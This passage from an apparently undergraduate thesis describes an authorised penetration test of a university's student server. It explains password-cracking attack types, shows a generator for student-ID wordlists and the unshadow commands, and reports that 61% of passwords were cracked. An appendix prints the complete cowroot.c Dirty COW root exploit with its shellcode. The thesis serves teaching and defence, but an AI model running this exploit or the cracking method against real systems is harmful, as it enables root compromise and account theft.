of the previous event, where the outcome of one experiment can a↵ect the outcome of the next

experiment [40]. Markov chains are used in password cracking to improve cracking e�ciencies

by better calculating probable placement of characters in password candidates [40].

5.3 Password Attacks

Brute-force attacks are one of the most frequent password attacks used by penetration testers

and is one of the two attacks used during this thesis. However, many other attacks exist that

can be useful in specific situations. The di↵erence in the attacks is the method in which the

lists of passwords are created; the actual password cracking is the same for each attack. For

each password listed in or created from a password list or dictionary, a computer computes a

hash and compares the result to the password file. The following is an abbreviated list of a few

popular password attacks, as well as a brief description for each.

Brute-Force Attack

Arguably the most commonly used and easiest to execute, a Brute-Force attack uses all

combinations from a key space. For example, a machine may start testing each ASCII character

individually, followed by every combination of two ASCII characters, then every combination

of three characters, and so on until a predetermined length is reached. Theoretically this attack

guarantees a solution; however as the length of passwords increase, the time required for a

Brute-Force attack increases exponentially. Table 5.2 illustrates cracking times for passwords

of lengths between 1 and 10; this table assumes a password can consist of any of the 95 printable

ASCII characters and a theoretical computer with a continuous guess rate of 1000 passwords

per second is used.
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Length Possible Combinations Worst Case Time

1 951 = 95 0.095 seconds

2 952 = 9025 9.025 seconds

3 953 = 857,375 857.375 seconds ⇡ 14 minutes

4 954 = 81,450,625 81,450.625 seconds ⇡ 23 hours

5 955 = 7,737,809,375 7⇥ 106 seconds ⇡ 90 days

6 956 = 735,091,890,625 7⇥ 108 seconds ⇡ 23 years

7 957 = 69,833,729,609,375 6⇥ 1010 seconds ⇡ 2214 years

8 958 = 6,634,204,312,890,625 6⇥ 1012 seconds ⇡ 210,369 years

9 959 = 630,249,409,724,609,375 6⇥ 1014 seconds ⇡ 19,985,078 years

10 9510 = 59,873,693,923,837,890,625 5⇥ 1016 seconds ⇡ 1,898,582,379 years

Table 5.2: Brute-Force Attack E�ciencies.

Combinator Attack

A Combinator attack takes each word in a dictionary and creates an attack using the con-

catenation of the dictionary words [4]. For example, if a dictionary contains the four words

shown in Listing 5.1, the attack would consist of sixteen words, listed in Listing 5.2. For a

dictionary with n words, a Combinator attack guesses n2 words, resulting in quadratic run

time. Table 5.3 illustrates cracking times of a Combinator attack using dictionaries with vari-

ous number of words; this table assumes a theoretical computer with a continuous guess rate

of 1000 passwords per second.

1 asu
2 appstate
3 2017
4 yo s e f

Listing 5.1: Example Dictionary.
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Length Possible Combinations Worst Case Time

500 5002 = 250,000 250 seconds ⇡ 4.167 minutes

1000 10002 = 1,000,000 1000 seconds ⇡ 16.667 minutes

1,000,000 1,000,0002 = 1,000,000,000,000 1,000,000,000 seconds ⇡ 31.780 years

1,000,000,000 1,000,000,0002 = 1.00⇥ 1018 1.0⇥ 1015 seconds ⇡ 31,709,792 years

Table 5.3: Combinator Attack E�ciencies.

1 asuasu
2 asuappstate
3 asu2017
4 asuyose f
5 appstateasu
6 appstateappstate
7 appstate2017
8 apps ta t eyo s e f
9 2017 asu

10 2017 appstate
11 20172017
12 2017 yo s e f
13 yose f a su
14 yo s e f apps ta t e
15 yose f2017
16 yo s e f y o s e f

Listing 5.2: Example of a Combinator Attack Word List.

Dictionary Attack

Often referred to as “straight mode” because of its simple and straightforward technique, the

Dictionary attack is another common password cracking attack. During a Dictionary attack,

a list of words, referred to as a “dictionary” or “word list,” is traversed, using each line as a

password guess [5]. The linear relationship between number of passwords in a word list and the

number of passwords guessed creates a linear runtime, as illustrated by Table 5.4; this table

assumes a theoretical computer with a continuous guess rate of 1000 passwords per second.
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Length Number of Possible Combinations Worst Case Time

500 500 0.500 seconds

1000 1000 1 second

1,000,000 1,000,000 1000 seconds ⇡ 16.667 minutes

1,000,000,000 1,000,000,000 1,000,000 seconds ⇡ 11.574 days

Table 5.4: Dictionary Attack E�ciencies.

Fingerprint Attack

A Fingerprint attack generates all possible mutations by disassembling a plaintext password

[7]. In oclHashcat, the task of creating mutations is accomplished by a utility known as

the “expander.” Consequently, a Fingerprint attack is a combination of the expander and the

Combinator attack previously discussed. A Fingerprint attack with the plaintext password

“ASU” creates a list of password candidates, as shown in Listing 5.3. The e�ciency of a

Fingerprint attack is contingent on the number of passwords and length of each password in a

word list. For a password of length n, a Fingerprint attack generates
n

P
n

+
n

P
n�1+· · ·+

n

P 2+
n

P 1

password combinations, where
x

P
y

represents the number of permutations of x letters taken y

at a time, which can be expressed as x!
(x�y)! . Using a theoretical computer with a continuous

guess rate of 1000 passwords per second, the e�ciencies of a single word dictionary with a

varying length password is illustrated in Table 5.5.
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Length Number of Possible Combinations Worst Case Time

3 3P 3+ 3P 2+ 3P 1= 15 0.015 seconds

4 4P 4+ 4P 3+ 4P 2+ 4P 1= 64 0.064 seconds

5 5P 5+ 5P 4+ 5P 3+ 5P 2+ 5P 1= 325 0.325 seconds

6 6P 6+ 6P 5+ · · ·+ 6P 2+ 6P 1= 1956 1.956 seconds

7 7P 7+ 7P 6+ · · ·+ 7P 2+ 7P 1= 13,699 13.699 seconds

8 8P 8+ 8P 7+ · · ·+ 8P 2+ 8P 1= 109,600 109.600 seconds ⇡ 1.827 minutes

9 9P 9+ 9P 8+ · · ·+ 9P 2+ 9P 1= 986,409 986.409 seconds ⇡ 16.440 minutes

10 10P 10+ 10P 9+ · · ·+ 10P 2+ 10P 1= 9,864,100 9864.100 seconds ⇡ 2.740 hours

Table 5.5: Fingerprint Attack E�ciencies.

1 A
2 S
3 U
4 AS
5 AU
6 SA
7 SU
8 UA
9 US

10 ASU
11 AUS
12 SAU
13 SUA
14 UAS
15 USA

Listing 5.3: Example of a Fingerprint Attack Word List.

Hybrid Attack

The Hybrid attack is an adaptation of the Combinator attack, using a hybrid of a Dictionary

attack on one side and a Brute-force attack on the other side [9]. A hybrid attack prepends or

appends a Brute-Force keyspace to a dictionary; although a Brute-force attack is the common

choice in a Hybrid attack, a Mask attack or Rule-based attack can also be used. Listing 5.4

illustrates a sample list of Hybrid attack password candidates created by appending a Brute-

force keyspace to the words from the dictionary shown in Listing 5.1.
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1 asua
2 appstatea
3 2017a
4 yose f a
5 . . .
6 asuZ
7 appstateZ
8 2017Z
9 yose fZ

10 . . .
11 asuaa
12 appstateaa
13 2017aa
14 yose faa
15 . . .
16 asuZZ
17 appstateZZ
18 2017ZZ
19 yosefZZ
20 . . .
21 . . .

Listing 5.4: Example of a Hybrid Attack Word List.

Mask Attack

Very similar to a Brute-Force attack, a Mask attack improves e�ciency by reducing the

password candidate keyspace [13]. For example, many users create a password using a name

followed by a year, such as “Andrew2017.” Using this information, it is reasonable to configure

an attack adjusted to this pattern. Because it is more common for passwords to have a capital

letter only at the start, a pattern could be used where only the first character is capitalized,

followed by a certain number of lowercase characters. Listing 5.5 illustrates a sample list of

password candidates generated by a Mask attack with the pattern of one upper or lowercase

alphabet character, followed by five lowercase alphabet characters, followed by a four digit

number.

Assume a user has a 10 character password. With a pure Brute-force attack, this would

result in 63 ⇥ 63 ⇥ 63 ⇥ 63 ⇥ 63 ⇥ 63 ⇥ 63 ⇥ 63 ⇥ 63 ⇥ 63 = 6310 = 984,930,291,881,790,849

password possibilities; using a machine that continuously guesses 1000 per second, this would

take 9.849 ⇥ 1014 seconds, or equivalently 31,231,934.660 years. However, by using a pattern
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where passwords start with a 6 character name, followed by a 4 character year, the number

of password possibilities decreases to 52 ⇥ 26 ⇥ 26 ⇥ 26 ⇥ 26 ⇥ 26 ⇥ 10 ⇥ 10 ⇥ 10 ⇥ 10 =

6,178,315,520,000; using a machine that continuously guesses 1000 per second, this would take

6.178 ⇥ 109 seconds, or equivalently 195.913 years. A mask can be configured specifically to

best match what is needed for a given attack. For example, a mask could specify to use only

numbers, or only uppercase letters and numbers.

1 aaaaaa0000
2 aaaaaa1000
3 aaaaaa2000
4 . . .
5 aaaaaa7999
6 aaaaaa8999
7 aaaaaa9999
8 baaaaa0000
9 baaaaa1000

10 baaaaa2000
11 . . .
12 baaaaa7999
13 baaaaa8999
14 baaaaa9999
15 . . .
16 Zzzzzz9999

Listing 5.5: Example of a Mask Attack Word List.

Permutation Attack

A Permutation attack generates all permutations of each word from a word list [14]. As a

result, for each word of length n in a word list, a list of n! password candidates will be created.

Using a dictionary with only one word, “ASU,” the password candidates used in a Permutation

attack are listed in Listing 5.6. Table 5.6 illustrates the time e�ciencies of a Permutation attack

with a varying length password guess, assuming a theoretical computer with a constant guess

rate of 1000 passwords per second is used.
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Length Number of Possible Combinations Worst Case Time

3 3! = 6 0.006 seconds

4 4! = 24 0.024 seconds

5 5! = 120 0.120 seconds

6 6! = 720 0.720 seconds

7 7! = 5040 5.040 seconds

8 8! = 40,320 40.320 seconds

9 9! = 362,880 362.880 seconds ⇡ 6.048 minutes

10 10! = 3,628,800 3628.800 seconds ⇡ 1.008 hours

Table 5.6: Permutation Attack Cracking E�ciencies.

1 ASU
2 AUS
3 SAU
4 SUA
5 UAS
6 USA

Listing 5.6: Example of a Permutation Attack Word List.

Rule-based Attack

Arguably the most complicated of all attack methods, aRule-based attack uses a programming-

like language to generate password candidates; this includes modifying words in a password list

to generate additional password variations [16]. Despite the complexity of a Rule-based attack,

it also is often the most e�cient, accurate, and flexible password attack [16].

Toggle-Case Attack

For password candidates, a Toggle-case attack generates all combinations of upper and low-

ercase characters for each word in a word list [17]. Using a dictionary with only one word,

“ASU,” the password candidates used in a Toggle-case attack are listed in Listing 5.7.
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1 asu2017
2 Asu2017
3 aSu2017
4 ASu2017
5 asU2017
6 AsU2017
7 aSU2017
8 ASU2017

Listing 5.7: Example of a Toggle-Case Attack Word List.

5.4 Cracking student.cs.appstate.edu Passwords

At Appalachian State University, every student, regardless of major, is assigned a unique nine

digit number, starting with 900 as the first three digits. This number is referred to as a “Banner

ID.” Because of the frequent need to provide a Banner ID for identification purposes, students

often memorize their ID early in their first year. Using basic social engineering techniques—

a penetration testing method beyond the scope of this thesis—one can discover the default

passwords for student accounts are students’ Banner IDs. Additionally, students often choose to

continue using their Banner ID as their general password. From the password attacks described

in Section 5.3, it makes most sense to use a Brute-Force and a Mask attack for breaking

passwords from student.cs.appstate.edu. A simple code, such as illustrated by the C++

program shown in Listing 5.8, creates a list of passwords to create a dictionary of possible

Banner IDs. This code uses a mask to define possible Banner IDs. Additionally, to ensure

a thorough and lengthy password cracking attempt, oclhashcat will also be executed on

additional word lists including “rockyou.txt,” a list available from Skull Security consisting of

113,344,391 passwords [20].
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#inc lude <iostream>
#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
#inc lude <s t r i ng>
#inc lude <s t r i n g . h>
#inc lude <f stream>

using namespace std ;

int main ( )
{

ofstream outputF i l e ;
outputF i l e . open ( ‘ ‘ BannerIDList . l s t ’ ’ ) ;
int i = 900520000;
for ( i ; i < 900560000; i++)
{

outputF i l e << i << endl ;
i f ( i % 10000 == 0)
{

cout << ‘ ‘ Writing ID : ’ ’ << i << ‘ ‘ . \ n ’ ’ ;
}

}

outputF i l e . c l o s e ( ) ;
cout << ‘ ‘ BannerIDList . l s t c r ea ted s u c c e s s f u l l y .\n ’ ’ ;

return 0 ;
}

Listing 5.8: An Example Code for Creating Word Lists.

Before being able run either John the Ripper or oclHashcat, it is first necessary

to combine /etc/passwd and /etc/shadow files into a single file readable to the programs;

this is easily accomplished by using John the Ripper’s built-in Unshadow utility, illustrated

in Figure 5.3. After the “unshadowed” file is created, either password cracking program can

be used. The results of running one known password against John the Ripper are shown in

Figure 5.2; in a virtual environment, this result took approximately two minutes and sixteen

seconds to obtain. The list generated by the program in Listing 5.8 was then used with John

the Ripper running on the host OS, not on a virtual machine as before; however, after 72

hours, only 22 passwords were cracked.

Because of the large password list size, oclHascat proved more e↵ective in cracking
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Figure 5.2: Results of Testing John the Ripper.

passwords from the unshadowed file. In fact, in approximately twenty-six hours, oclHascat

cracked 585 passwords using the list of generated Banner IDs. After testing BannerIds, a

dictionary attack was used, which ultimately cracked five additional passwords.

Table 5.7 displays an overview of the number of passwords cracked by oclHascat and

John the Ripper, the cracking technique, the type of password, and the total time taken.

Given the vast possibilities of the Brute-Force technique, the attack was estimated to take hun-

dreds of years to complete and was therefore halted prematurely. In total, eliminating dupli-

cate passwords cracked, 590, or 61.01% of all passwords from student.cs.appstate.edu’s

/etc/shadow file were cracked.
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root@SeniorThesisKali:˜# ls

passwd shadow

root@SeniorThesisKali:˜# umask 007

root@SeniorThesisKali:˜# unshadow /etc/passwd /etc/shadow >

mypasswd

root@SeniorThesisKali:˜# ls

mypasswd passwd shadow

Figure 5.3: Using John the Ripper’s Built-in Unshadow Utility.

Number of
Passwords
Cracked

Software Cracking
Technique

Type of Password Cracking Time

585 oclHashcat Mask Attack Banner IDs 26 hours, 14 minutes

22 John

the Ripper

Mask Attack Banner IDs 72 hours, 26 minutes

5 oclHashcat Dictionary
Attack

rockyou.txt 149 hours

0 oclHashcat Brute-Force
Attack

Passwords of length
 5 with letters and
numbers

336 hours

Table 5.7: Password Cracking E�ciencies.



Chapter 6

Conclusion

6.1 Future Work

The work and findings presented in this paper do not reflect a full penetration test; while the

details and exploits previously discussed are dangerous vulnerabilities, they are likely not the

only vulnerabilities present on student.cs.appstate.edu. Therefore, it is still necessary

for the Computer Science Department, as well as Appalachian State University as a whole, to

invest in a full penetration test.

Regardless of future findings, it is critical for Appalachian State University and its Com-

puter Science Department to investigate the vulnerabilities discussed herein and act accordingly.

For student.cs.appstate.edu, this involves updating the system kernel with an approved

patch from Red Hat. Because such an update requires rebooting the system, this update will

result in temporary downtime of services. However, leaving student.cs.appstate.edu

vulnerable to the Dirty COW exploit will prove far more consequential than a short down time

required for updating.

Given the use of student.cs.appstate.edu for student projects and experiments,

its security is more di�cult to maintain than most servers. For instance, throughout this work,

multiple ports were opened to allow for students to work on various assignments. Any attacker

with Nmap or masscan can identify open ports, allowing for targeted attacks; it is suggested,

therefore, that the system administrator ensures all ports are closed as soon as they are no

longer needed.

59
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Although the work of this thesis focused primarily on discovering vulnerabilities in the

system’s configuration and operating system, a number of other areas for vulnerabilities exist

for future research. Investigating applications running on student.cs.appstate.edu, such

as SQL, often reveal additional vulnerabilities that can also lead to gaining escalated privileges.

Additionally, except the brief mention of social engineering in Section 5.4, this thesis did not

discuss or explore the influence and vulnerabilities associated with human interactions; two

areas of penetration tests, social engineering and phishing, are examples of human interactions

that o↵er a plethora of additional research opportunities.

6.2 Summary

This thesis introduced the idea of penetration testing and investigated the security and

vulnerability of Appalachian State University’s Computer Science Department’s server,

student.cs.appstate.edu. Before attacking any system, this work began by obtaining

the proper permission from appropriate system administrators; this included a discussion and

agreement on the scope for a penetration test. After obtaining background information on the

Computer Science department and on student.cs.appstate.edu itself, a targeted attack

was formulated, focusing on a flaw in the Linux Kernel, known as CVE-2016-5195 or Dirty

COW. Ultimately, Dirty COW provided root access, through which both the /etc/passwd

and /etc/shadow files were obtained. Using oclHashcat, 590 passwords, or 61.01% of all

passwords present in the shadow file, were cracked.

The awareness of CVE-2016-5195 will allow for hardening of security on

student.cs.appstate.edu, preventing future malicious attackers from exploiting the

Dirty COW vulnerability. This work also increased awareness of security vulnerabilities and

their continuing importance in the twenty-first century.
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Full Reports

A.1 Recon-ng Reconnaissance Report
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Appendix B

Complete Code for Programs

B.1 Complete C Code for cowroot.c.

1 /⇤
2 ⇤ (un)comment co r r e c t pay load f i r s t ( x86 or x64 ) !
3 ⇤
4 ⇤ $ gcc cowroot . c �o cowroot �pthread
5 ⇤ $ . / cowroot
6 ⇤ DirtyCow root p r i v i l e g e e s c a l a t i o n
7 ⇤ Backing up /usr / b in /passwd . . to /tmp/bak
8 ⇤ S i z e o f b inary : 57048
9 ⇤ Racing , t h i s may take a wh i l e . .

10 ⇤ /usr / b in /passwd ove rwr i t t en
11 ⇤ Popping roo t s h e l l .
12 ⇤ Dont f o r g e t to r e s t o r e /tmp/bak
13 ⇤ thread s topped
14 ⇤ thread s topped
15 ⇤ root@box :/ roo t /cow# id
16 ⇤ uid=0( roo t ) g id =1000( foo ) groups=1000( foo )
17 ⇤
18 ⇤ @robinverton
19 ⇤/
20
21 #inc lude <s t d i o . h>
22 #inc lude <s t d l i b . h>
23 #inc lude <sys /mman. h>
24 #inc lude < f c n t l . h>
25 #inc lude <pthread . h>
26 #inc lude <s t r i n g . h>
27 #inc lude <uni s td . h>
28
29 void ⇤map ;
30 int f ;
31 int stop = 0 ;
32 struct s t a t s t ;
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33 char ⇤name ;
34 pthread t pth1 , pth2 , pth3 ;
35
36 // change i f no permiss ions to read
37 char su id b ina ry [ ] = ‘ ‘/ usr / bin /passwd ’ ’ ;
38
39 /⇤
40 ⇤ msfvenom �p l i nu x /x64/ exec CMD=‘ ‘ echo ‘0 ’ > /proc/ sys /vm/

d i r t y w r i t e b a c k c e n t i s e c s ;/ b in / bash ’ ’ PrependSetuid=True �f e l f
|

41 xxd �i
42 ⇤/
43 unsigned char sc [ ] = {
44 0x7f , 0x45 , 0x4c , 0x46 , 0x02 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
45 0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x3e , 0x00 , 0x01 , 0x00 , 0x00 ,

0x00 ,
46 0x78 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x00 ,

0x00 ,
47 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
48 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x38 , 0x00 , 0x01 , 0x00 , 0x00 ,

0x00 ,
49 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x07 , 0x00 , 0x00 ,

0x00 ,
50 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 ,

0x00 ,
51 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
52 0xe3 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x4e , 0x01 , 0x00 ,

0x00 ,
53 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
54 0x48 , 0x31 , 0 x f f , 0x6a , 0x69 , 0x58 , 0x0f , 0x05 , 0x6a , 0x3b , 0x58 ,

0x99 ,
55 0x48 , 0xbb , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f , 0x73 , 0x68 , 0x00 , 0x53 ,

0x48 ,
56 0x89 , 0xe7 , 0x68 , 0x2d , 0x63 , 0x00 , 0x00 , 0x48 , 0x89 , 0xe6 , 0x52 ,

0xe8 ,
57 0x3c , 0x00 , 0x00 , 0x00 , 0x65 , 0x63 , 0x68 , 0x6f , 0x20 , 0x27 , 0x30 ,

0x27 ,
58 0x20 , 0x3e , 0x20 , 0x2f , 0x70 , 0x72 , 0x6f , 0x63 , 0x2f , 0x73 , 0x79 ,

0x73 ,
59 0x2f , 0x76 , 0x6d , 0x2f , 0x64 , 0x69 , 0x72 , 0x74 , 0x79 , 0x5f , 0x77 ,

0x72 ,
60 0x69 , 0x74 , 0x65 , 0x62 , 0x61 , 0x63 , 0x6b , 0x5f , 0x63 , 0x65 , 0x6e ,

0x74 ,
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61 0x69 , 0x73 , 0x65 , 0x63 , 0x73 , 0x3b , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f ,
0x62 ,

62 0x61 , 0x73 , 0x68 , 0x00 , 0x56 , 0x57 , 0x48 , 0x89 , 0xe6 , 0x0f , 0x05
63 } ;
64 unsigned int s c l e n = 227 ;
65
66
67 /⇤
68 ⇤ msfvenom �p l i nu x /x86/ exec CMD=‘ ‘ echo ‘0 ’ > /proc/ sys /vm/

d i r t y w r i t e b a c k c e n t i s e c s ;/ b in / bash ’ ’ PrependSetuid=True �f e l f
|

69 xxd �i
70 unsigned char sc [ ] = {
71 0 x7f , 0x45 , 0x4c , 0x46 , 0x01 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
72 0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x03 , 0x00 , 0x01 , 0x00 , 0x00 ,

0x00 ,
73 0x54 , 0x80 , 0x04 , 0x08 , 0x34 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
74 0x00 , 0x00 , 0x00 , 0x00 , 0x34 , 0x00 , 0x20 , 0x00 , 0x01 , 0x00 , 0x00 ,

0x00 ,
75 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
76 0x00 , 0x80 , 0x04 , 0x08 , 0x00 , 0x80 , 0x04 , 0x08 , 0xba , 0x00 , 0x00 ,

0x00 ,
77 0x20 , 0x01 , 0x00 , 0x00 , 0x07 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 , 0x00 ,

0x00 ,
78 0x31 , 0xdb , 0x6a , 0x17 , 0x58 , 0xcd , 0x80 , 0x6a , 0x0b , 0x58 , 0x99 ,

0x52 ,
79 0x66 , 0x68 , 0x2d , 0x63 , 0x89 , 0xe7 , 0x68 , 0 x2f , 0x73 , 0x68 , 0x00 ,

0x68 ,
80 0 x2f , 0x62 , 0x69 , 0x6e , 0x89 , 0xe3 , 0x52 , 0xe8 , 0x3c , 0x00 , 0x00 ,

0x00 ,
81 0x65 , 0x63 , 0x68 , 0 x6f , 0x20 , 0x27 , 0x30 , 0x27 , 0x20 , 0x3e , 0x20 ,

0 x2f ,
82 0x70 , 0x72 , 0 x6f , 0x63 , 0 x2f , 0x73 , 0x79 , 0x73 , 0 x2f , 0x76 , 0x6d ,

0 x2f ,
83 0x64 , 0x69 , 0x72 , 0x74 , 0x79 , 0 x5f , 0x77 , 0x72 , 0x69 , 0x74 , 0x65 ,

0x62 ,
84 0x61 , 0x63 , 0x6b , 0 x5f , 0x63 , 0x65 , 0x6e , 0x74 , 0x69 , 0x73 , 0x65 ,

0x63 ,
85 0x73 , 0x3b , 0 x2f , 0x62 , 0x69 , 0x6e , 0 x2f , 0x62 , 0x61 , 0x73 , 0x68 ,

0x00 ,
86 0x57 , 0x53 , 0x89 , 0xe1 , 0xcd , 0x80
87 } ;
88 unsigned i n t s c l e n = 186;
89 ⇤/
90
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91 void ⇤madviseThread (void ⇤ arg )
92 {
93 char ⇤ s t r ;
94 s t r=(char⇤) arg ;
95 int i , c=0;
96 for ( i =0; i <1000000 && ! stop ; i++) {
97 c+=madvise (map,100 ,MADVDONTNEED) ;
98 }
99 p r i n t f ( ‘ ‘ thread stopped \n ’ ’ ) ;
100 }
101
102 void ⇤procselfmemThread (void ⇤ arg )
103 {
104 char ⇤ s t r ;
105 s t r=(char⇤) arg ;
106 int f=open ( ‘ ‘ / proc / s e l f /mem’ ’ ,ORDWR) ;
107 int i , c=0;
108 for ( i =0; i <1000000 && ! stop ; i++) {
109 l s e e k ( f ,map ,SEEK SET) ;
110 c+=wr i t e ( f , s t r , s c l e n ) ;
111 }
112 p r i n t f ( ‘ ‘ thread stopped \n ’ ’ ) ;
113 }
114
115 void ⇤waitForWrite (void ⇤ arg ) {
116 char buf [ s c l e n ] ;
117
118 for ( ; ; ) {
119 FILE ⇤ fp = fopen ( su id b inary , ‘ ‘ rb ’ ’ ) ;
120
121 f r ead ( buf , s c l en , 1 , fp ) ;
122
123 i f (memcmp( buf , sc , s c l e n ) == 0) {
124 p r i n t f ( ‘ ‘% s ove rwr i t t en \n ’ ’ , s u id b ina ry ) ;
125 break ;
126 }
127
128 f c l o s e ( fp ) ;
129 s l e e p (1 ) ;
130 }
131
132 stop = 1 ;
133
134 p r i n t f ( ‘ ‘ Popping root s h e l l .\n ’ ’ ) ;
135 p r i n t f ( ‘ ‘ Dont f o r g e t to r e s t o r e /tmp/bak\n ’ ’ ) ;
136
137 system ( su id b ina ry ) ;
138 }
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139
140 int main ( int argc , char ⇤argv [ ] ) {
141 char ⇤backup ;
142
143 p r i n t f ( ‘ ‘ DirtyCow root p r i v i l e g e e s c a l a t i o n \n ’ ’ ) ;
144 p r i n t f ( ‘ ‘ Backing up %s to /tmp/bak\n ’ ’ , s u id b ina ry ) ;
145
146 a s p r i n t f (&backup , ‘ ‘ cp %s /tmp/bak ’ ’ , s u id b ina ry ) ;
147 system ( backup ) ;
148
149 f = open ( su id b inary ,O RDONLY) ;
150 f s t a t ( f ,& s t ) ;
151
152 p r i n t f ( ‘ ‘ S i z e o f b inary : %d\n ’ ’ , s t . s t s i z e ) ;
153
154 char payload [ s t . s t s i z e ] ;
155 memset ( payload , 0x90 , s t . s t s i z e ) ;
156 memcpy( payload , sc , s c l e n +1) ;
157
158 map = mmap(NULL, s t . s t s i z e ,PROTREAD,MAP PRIVATE, f , 0 ) ;
159
160 p r i n t f ( ‘ ‘ Racing , t h i s may take a while . . \ n ’ ’ ) ;
161
162 pth r ead c r ea t e (&pth1 , NULL, &madviseThread , su id b ina ry ) ;
163 pth r ead c r ea t e (&pth2 , NULL, &procselfmemThread , payload ) ;
164 pth r ead c r ea t e (&pth3 , NULL, &waitForWrite , NULL) ;
165
166 p th r ead j o i n ( pth3 , NULL) ;
167
168 return 0 ;
169 }

Listing B.1: Complete C Code for cowroot.c.


